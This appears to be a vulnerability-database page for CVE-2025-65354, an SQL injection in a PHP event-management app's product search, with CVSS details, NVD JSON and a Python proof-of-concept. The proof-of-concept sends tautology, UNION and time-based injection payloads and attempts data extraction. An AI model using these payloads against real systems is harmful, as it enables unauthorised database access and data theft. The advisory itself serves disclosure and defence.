Security Vulnerability Report
中文
CVE-2025-65354 CVSS 9.8 CRITICAL

CVE-2025-65354

Published: 2025-12-23 20:15:47
Last Modified: 2026-01-06 17:17:14

Description

Improper input handling in /Grocery/search_products_itname.php inPuneethReddyHC event-management 1.0 permits SQL injection via the sitem_name POST parameter. Crafted payloads can alter query logic and disclose database contents. Exploitation may result in sensitive data disclosure and backend compromise.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:puneethreddyhc:event_management:1.0:*:*:*:*:*:*:* - VULNERABLE
PuneethReddyHC event-management < 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-65354 SQL Injection PoC # Target: PuneethReddyHC event-management 1.0 # Vulnerability: SQL Injection in /Grocery/search_products_itname.php target_url = "http://target.com/Grocery/search_products_itname.php" # Basic SQL Injection payload to test vulnerability payloads = [ "' OR '1'='1", "' UNION SELECT NULL--", "' UNION SELECT user(),version(),database()--", "' AND SLEEP(5)--" ] def test_sqli(): print(f"[*] Testing CVE-2025-65354 SQL Injection") print(f"[*] Target: {target_url}") for payload in payloads: data = { 'sitem_name': payload } try: response = requests.post(target_url, data=data, timeout=10) print(f"[+] Sent payload: {payload}") print(f"[+] Status code: {response.status_code}") print(f"[+] Response length: {len(response.text)}") # Check for SQL error indicators if 'sql' in response.text.lower() or 'error' in response.text.lower(): print(f"[!] Potential SQL error detected") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def extract_data(): # Data extraction payload using UNION-based injection extract_payload = "' UNION SELECT user(),database(),version(),NULL,NULL--" data = {'sitem_name': extract_payload} try: response = requests.post(target_url, data=data, timeout=10) print(f"\n[*] Attempting data extraction...") print(f"[+] Response preview: {response.text[:500]}") except Exception as e: print(f"[-] Extraction failed: {e}") if __name__ == "__main__": test_sqli() extract_data()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65354", "sourceIdentifier": "[email protected]", "published": "2025-12-23T20:15:46.843", "lastModified": "2026-01-06T17:17:13.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input handling in /Grocery/search_products_itname.php inPuneethReddyHC event-management 1.0 permits SQL injection via the sitem_name POST parameter. Crafted payloads can alter query logic and disclose database contents. Exploitation may result in sensitive data disclosure and backend compromise."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:puneethreddyhc:event_management:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "62641595-ABF9-4D21-A2FB-72B3F25D6792"}]}]}], "references": [{"url": "https://github.com/amaansiddd787/CVE-2025-65354", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}